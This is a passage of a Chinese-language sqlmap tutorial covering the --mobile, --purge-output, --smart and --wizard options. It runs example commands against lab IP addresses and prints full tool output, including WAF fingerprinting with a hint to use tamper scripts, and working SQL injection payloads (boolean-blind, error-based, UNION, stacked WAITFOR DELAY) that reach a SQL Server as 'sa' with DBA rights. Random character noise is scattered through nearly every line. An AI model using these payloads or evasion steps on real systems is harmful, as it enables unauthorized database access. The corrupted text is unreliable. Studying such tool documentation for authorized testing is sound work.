[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)' 9 ?0 }' }6 A9 \% s[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)' 4 j; I0 }' ~2 Y6 H# }: `[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'7 b' F* Z9 N8 i( G3 h
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)' 0 o+ S: _3 W5 h4 h1 @; i[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)' & e6 `0 _4 m5 {9 C" T[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)' & g! x- k. K1 Q[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)' 0 D3 Q8 ^, f( O0 N% T" ]" f, R[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)') D8 ^# b' j h" g( ?1 a& n0 p; U
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'& E; J1 g9 m* q0 f3 f0 Y
[xx:xx:23] [DEBUG] page not found (404) 9 ^" |1 F" L7 M' }9 j- `8 J[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'1 m3 S8 T# U) V9 A+ j8 S
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)' 5 ~3 p6 T {- H: r[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'0 h( M7 s/ l; u% j. Z/ i. u
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)' 5 \% N4 r5 G9 Z) l2 A! X[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)' ; t; J, j8 c1 S k' h3 `[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)' 1 h6 N4 q+ I. Z& ?4 q$ r x[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper') , |# n$ ?1 Y9 M: } w3 I% G[...] % C( D; ^' N2 O $ T6 I) g/ `/ ?! P, W模仿智能手机 0 U7 l( d+ e- S G' x, S* n7 c3 d* p/ _4 ` a* Z6 C4 q
参数:--mobile' b* N9 [8 d* n( j" f
' X2 b/ ~% u; Y, A有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。% ]' ^, D6 \$ ^4 l6 |; p
+ K7 N0 w9 x5 @. U1 X
例如:) V! @4 K5 y* _) W
8 n& M! b/ d) l8 q/ g
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile% e' u. \+ Q9 N5 i$ K
[...]( }7 J/ s7 Z! f
which smartphone do you want sqlmap to imitate through HTTP User-Agent header? 8 j" A+ v" L% E5 Q! | \[1] Apple iPhone 4s (default)2 u7 V( O/ x5 ~; S& I$ r& H3 a% Z
[2] BlackBerry 9900 $ c8 `1 k* t0 U9 B) G[3] Google Nexus 7" T1 ]& y, b: _+ c% E
[4] HP iPAQ 6365 ) W1 H4 W) ?6 v* }' L9 p/ C+ ][5] HTC Sensation: j4 l$ o, f! C; l& ^* _. u0 y
[6] Nokia N97 & T6 m6 F, |0 i/ C[7] Samsung Galaxy S 2 n/ B$ g8 r' |6 o8 G4 c* D> 1 0 _4 I8 F. d( S) l) x4 M" n[...] 3 C1 l" i2 Z, m, y0 u5 f" | b3 M: u- p* D
安全的删除output目录的文件% k2 C! Y7 f4 `6 D2 u7 n; k5 O
- O( x: ^. j2 a# f: |' r* _: N参数:--purge-output 6 p P$ g$ e/ ]5 Y% z$ C9 v3 f8 a+ x* `& k" f
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。 j6 O0 c' H, O/ |2 B: P' G9 M: M, ^& Q1 _! F4 B1 a
例如:7 C/ @0 I8 w( l7 w' s
: @* W4 ~* h( j. i9 h! m6 r" T0 T$ python sqlmap.py --purge-output -v 3 - `) r/ G" t+ E[...]4 `( f7 ]" m" t" L/ I2 k9 A3 D; b4 ]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'... 3 t( a; |1 Y& R6 Y[xx:xx:55] [DEBUG] changing file attributes% R( t$ \; w8 L9 n
[xx:xx:55] [DEBUG] writing random data to files 7 w5 c7 }* l2 m8 U0 l[xx:xx:55] [DEBUG] truncating files % I) g g, [5 w- \0 F[xx:xx:55] [DEBUG] renaming filenames to random values O1 N; u4 p# l0 \+ E. O d6 f) m$ A[xx:xx:55] [DEBUG] renaming directory names to random values0 k) \: u" Y3 r0 w/ q! t( b6 E
[xx:xx:55] [DEBUG] deleting the whole directory tree " P- K% V3 z/ W$ d[...]" [2 `% ?/ `* j [9 \! `' h
( X: G: Y5 t: I7 h; @启发式判断注入5 a( E6 b' i* d: l# C. T
' S0 H5 {/ Q" _4 K1 l3 h例子: ' T! |2 P4 e( m, n& ~( N- P* R. I8 ^3 c: Q/ r8 W4 n' x% x& h
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart8 {4 F. o; L8 M5 d, Y: ^+ v
[...]+ @: K6 T8 O. C" T8 j y! \% p
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic; l- L& v' q8 T3 e$ e- w
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic0 Y' Z: T, H8 P
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable" e( E6 v( f7 h- @9 y, ^" X
[xx:xx:14] [INFO] skipping GET parameter 'ca', ^# Z6 D/ C1 O! y" \' P
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic. s. t! D, f0 z- d# G
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic 2 x( U9 D! m' G- |: u[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable" K4 M& C& \$ c4 W5 [
[xx:xx:14] [INFO] skipping GET parameter 'user'' o) T) t2 I4 e% ?6 B, i
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic & P" _+ Y, y; w[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic " B; K/ t& x7 e* G6 G- S4 e# O) S4 @[xx:xx:14] [INFO] GET parameter 'id' is dynamic3 E' D9 }' V9 l: p: e
[xx:xx:14] [WARNING] reflective value(s) found and filtering out2 r+ a' r6 a4 h1 X3 X% x* Y
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') 5 j6 G0 l S0 z* A[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' ! A" }; d% ~0 C3 q, g' Oheuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y9 p2 E1 ]1 ?. P0 ]4 ?3 J* u' k) c
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y + c+ }& T, |7 h[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'% X: ?) T" x/ h
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable ! H" T6 v" \* v ~4 U C' u& [- [
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' ) a: T$ K$ p- L i$ F[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable * ]+ f; u" S2 _! A8 q7 v[xx:xx:14] [INFO] testing 'MySQL inline queries'- x) Q( ]. ?/ |3 v# g: ^
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries' : A$ T+ b# n3 }0 J% C[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'0 Y- a1 k Q5 G- {
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'8 E- S7 \; A `6 t3 \$ w9 A
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 2 Z2 b$ m5 m4 b, {: f[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'1 d) a! K: _& P# W0 B$ Y( S
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found- v! b( H/ M( H, `5 Q2 V% w( N, I
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test : o6 f/ {8 R4 G& S9 _3 X5 F[xx:xx:24] [INFO] target URL appears to have 3 columns in query6 ]% ]1 i, z1 `) ]) R
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable3 ~; n; R6 Y% q$ L& I. D+ o7 {3 @9 F
[...] " d1 U/ P! m' W$ a, ` ( S; O4 H: w/ S. Y; F初级用户向导参数 3 J9 H) Q, O" b' \$ w 3 z" I1 _6 u, Y, L) G6 F参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。0 r/ Z% K6 f5 O( R8 U- `! Q
( U. Q8 n ?# i1 L# v, {
$ python sqlmap.py --wizard5 O' P5 A5 a9 A) y) @6 K6 x/ l
. o* x; e2 R" \3 E; C$ w
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool 7 p# X9 N$ x+ j$ E+ M! B. u, @* s* ?" \3 t5 d: \/ p
http://sqlmap.org 4 Z3 }3 @- i% O% w" A& R5 a* B0 c6 G: P( C! w9 A
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program* u9 |$ T- j9 y" Q- J
starting at 11:25:268 K( \8 g: D) a$ l% T* \. x/ c6 X
: M' i) W3 |% H, `, a: W( c$ vPlease enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1, F6 O0 E j" K2 ]" s
POST data (--data) [Enter for None]: 7 a; m2 q) s/ i, u2 x$ N
Injection difficulty (--level/--risk). Please choose: 9 m- z. A/ i8 D" a6 S1 ]% {& z[1] Normal (default)4 `& a7 w. _5 B* B. u1 j
[2] Medium2 q, M' D4 A3 k, z" ?. i- _
[3] Hard$ W7 g4 [4 o3 o: A) w
> 1 ) H% ]* [+ x* | ?9 {Enumeration (--banner/--current-user/etc). Please choose: `& @4 b/ Z3 d; t7 y! h- W[1] Basic (default)& Z/ {4 M3 b* b7 }
[2] Smart) Q1 m' ]- U' [* M% R! j8 g1 s
[3] All 3 G+ \9 o8 s' Z' E: L) {> 1) D' {1 K5 m3 I2 F/ e) E6 z
# @: z% N. J7 L+ @) I+ C: L& rsqlmap is running, please wait.. ' g2 K0 x1 l( ]5 h* w2 `6 l; R7 x; ]; Z' M g
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y 1 Y% m3 Y/ h0 bdo you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y3 O0 k0 r' v0 P' |- M0 W7 s
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N 8 a, I6 M4 B# f- R% u0 Lsqlmap identified the following injection points with a total of 25 HTTP(s) requests: 1 |" m$ E/ E* X3 c/ P--- ' [7 l% S: x3 n5 H+ b! ^* k. l2 oPlace: GET ; h- q o' [! e- cParameter: id 2 O' s- C. @& ~9 p2 j) A9 k Type: boolean-based blind4 \$ e& @+ z& ]/ }" L# b
Title: AND boolean-based blind - WHERE or HAVING clause5 f+ g: G- E$ w9 L( x
Payload: id=1 AND 2986=2986 ) f' L7 D7 N. X3 V' O$ h: p0 y [ ' f6 E2 N7 x+ b3 L& [/ y( U Type: error-based: y* @) ~: @. w+ L, X$ h! n, d
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause : i% l( }9 A* g2 |: w% [ Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))): `. \: [) I7 n
% I, f! Z) c! E; }3 _: y
Type: UNION query0 w' q9 x" |7 D8 t' Z
Title: Generic UNION query (NULL) - 3 columns ! e" y7 O" L! P5 @ a: J Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- " i! h) B0 H2 U2 Z/ V! h! p7 i9 R$ [. y9 P
Type: stacked queries3 ?. f2 q/ v) v& x1 \4 Q
Title: Microsoft SQL Server/Sybase stacked queries' N/ v0 Z9 o, J& Y9 l& d* ~) t. n. l
Payload: id=1; WAITFOR DELAY '0:0:5'-- " Y% s" ~( m2 Z ; \! a j6 D, c8 K1 @7 v% g$ @ Type: AND/OR time-based blind : i- K/ q: x6 y4 Q2 E9 Y* C* s9 [ Title: Microsoft SQL Server/Sybase time-based blind' v- E( ^3 W O* `3 G. D
Payload: id=1 WAITFOR DELAY '0:0:5'--* F3 j- S7 P/ f' {1 N
- t5 Z' |2 p- k
Type: inline query : S, b f4 V" S# q2 x- k Title: Microsoft SQL Server/Sybase inline queries* ^' @# L1 g2 i. d) F- I9 A
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)) . k2 g+ `& n1 r; S8 ]--- 1 Q/ a* ]4 ]+ G/ m7 Zweb server operating system: Windows XP+ F7 R0 Y; h: W5 [8 S, p/ s$ b
web application technology: ASP, Microsoft IIS 5.1 " m" A8 a" \, _4 y3 R# L6 Zback-end DBMS operating system: Windows XP Service Pack 2 3 E, Y. Y6 e/ u* fback-end DBMS: Microsoft SQL Server 2005 9 O1 d- i. [' Xbanner: , s) U/ R7 S: J( [---- C% t) Y* u- C( M* x* F
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) $ T# y1 s) O8 U, v8 t0 B6 H0 u Oct 14 2005 00:33:37 ; |1 |' f; P6 d! ^. o2 r+ O7 I; \
Copyright (c) 1988-2005 Microsoft Corporation * L6 }( W, [7 u) y Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) 6 q) }& ]' X% y/ I+ t/ C: q' ]---0 O; X; q9 x# V( o2 U
current user: 'sa'! J* F- ^4 o: V) d; c5 f( C
current database: 'testdb'' D- {% _1 n2 d# ^! W. n* n$ E
current user is DBA: True